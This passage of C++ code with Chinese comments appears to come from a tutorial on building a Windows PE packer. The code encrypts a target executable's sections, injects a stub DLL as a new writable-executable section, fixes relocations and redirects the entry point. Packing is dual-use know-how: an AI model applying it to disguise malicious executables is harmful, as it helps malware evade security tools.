@param rva 要转换的rva
@return 返回FOA
*/
DWORD CPeUtil::RvaToFoa(DWORD rva)
{
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(this->m_pNtHeader);
for (int i = 0; i < this->m_pFileHeader->NumberOfSections; i++) {
if (rva >= pSectionHeader->VirtualAddress &&
rva < (pSectionHeader->VirtualAddress + pSectionHeader->Misc.VirtualSize)) {
// 如果在当前区段里面
// rva - 区段的rva = foa - 区段的foa
// foa = rva - 区段的rva + 区段的foa
return rva - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;
}
pSectionHeader++;
}
return 0;
}
/*
@function Foa转Rva
@param 要转换的foa
@return 返回转换之后的rva
*/
DWORD CPeUtil::FoaToRva(DWORD foa)
{
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(this->m_pNtHeader);
for (int i = 0; i < this->m_pFileHeader->NumberOfSections; i++) {
if (foa >= pSectionHeader->PointerToRawData &&
foa < (pSectionHeader->PointerToRawData + pSectionHeader->SizeOfRawData)) {
// foa - 区段的foa = rva - 区段的rva
// rva = foa - 区段的foa + 区段的rva
return foa - pSectionHeader->PointerToRawData + pSectionHeader->VirtualAddress;
}
pSectionHeader++;
}
return 0;
}
#include
#include
#include "CPeUtil.h"
typedef struct _PACKINFO {
DWORD newOEP;
DWORD oldOEP;
}PACKINFO, * PPACKINFO;
int main() {
CPeUtil peUtil;
peUtil.LoadFile("FateMouse.exe");
peUtil.EncodeSections(); // 对壳程序进行加密
HMODULE hModule = LoadLibraryA("ack.dll"); // 加载我们的壳代码
PPACKINFO pPackInfo = (PPACKINFO)GetProcAddress(hModule, "g_PackInfo");
pPackInfo->oldOEP = peUtil.GetJmpOldVA();
// 获取第一个区段 我们把代码段和数据段都合并在一起了
PIMAGE_DOS_HEADER dllDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS dllNtHeader = (PIMAGE_NT_HEADERS)(dllDosHeader->e_lfanew + (DWORD)hModule);
PIMAGE_SECTION_HEADER dllSectionHeader = IMAGE_FIRST_SECTION(dllNtHeader);
CHAR* sectionBuff = (CHAR*)(dllSectionHeader->VirtualAddress + (DWORD)hModule);
peUtil.GetImportTable(); // 要先准备好新的导入表,然后和壳代码一起插入
peUtil.InsertSection("51hook", dllSectionHeader->Misc.VirtualSize, sectionBuff, 0xE00000E0);
peUtil.RepairRelco((DWORD)hModule); // 修复重定位表
DWORD newOepRva = (pPackInfo->newOEP - (DWORD)hModule - dllSectionHeader->VirtualAddress);
peUtil.SetOep(newOepRva);
peUtil.SaveFile("pack.exe");
return 0;
}